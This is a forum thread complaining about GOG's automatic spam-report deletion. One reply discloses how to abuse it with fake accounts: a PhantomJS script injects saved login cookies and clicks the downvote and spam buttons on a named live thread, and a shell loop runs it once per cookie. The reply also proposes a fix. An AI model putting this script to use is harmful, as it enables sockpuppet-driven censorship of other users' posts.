Alaric.us: It's not so much the rep as it is the spam reporting, which allows people who've made enough fake accounts to delete posts they don't like.
All of my posts get deleted for instance. Just yesterday my post called "GTX 1080 Ti" got erased.
infinite9: Ah I see I suppose. Whoever is doing the moderating seems more interested in the quantity of reports than the merit or lack of merit behind them.
Well, that's the thing. Nobody is doing that moderating. It's an automatic system. When a user clicks on the "report spam" button a JavaScript function is called. The function increments a counter and then checks if the counter is high enough. Once it reaches a certain threshold, the post is deleted.
The problem is, it's very easy to automate this process if you wanted to delete someone's post. Here are the steps:
1. You register a certain number of accounts and write down their login cookie.
2. You write a script to downvote (so that the spam button appears) and click on this button.
If using jQuery the script would look something like this:
$("#markSpam_xyz").click(); where xyz is the id number of the post.
3. You write a loop go call that line for each of the login cookies you wrote down earlier.
That's it. Each of these fake users downvotes and spamreports a post and in a few seconds the post is gone.
Let's suppose someone wanted to delete this thread and had enough fake accounts set up. They could easily achieve that by using a testing framework such as PhantomJS, which is basically a browser, but without any visual component to it. The code would look like this:
"use strict"; var page = require("webpage").create(); var system = require("system"); var args = system.args; var target = "https://www.gog.com/forum/general/dear_gog_you_lost_a_sale_because_of_your_rep_system"; page.onAlert = function(msg) { console.log("ALERT: " + msg); }; phantom.addCookie({ "name" : "gog-al", "value" : args[1], "domain" : ".gog.com", "path" : "/" }); page.open(target, function(status) { if(status === "success") { page.evaluate( function() { $(".r_t_p_no_EN").first().show().click(); $("#markSpam_1").click(); }); } setTimeout( function() { phantom.exit(); }, 500); }); Then, all you have to do is run a batch file or a shell script, which would look like this:
phantomjs ourJSfile.js cookie1 phantomjs ourJSfile.js cookie2 phantomjs ourJSfile.js cookie3 etc.
The good news is in that it would be very easy for GOG to prevent this from happening. One way is to simply make that function do nothing. Let it increment the counter, but comment out the line that actually deletes the post. Instead, upon reaching a certain value, the counter could email the community manager to take a look. Implementing this fix would take 5 minutes. Literally. Probably even less than that. The bad news is, GOG can't fix it for over 6 months now.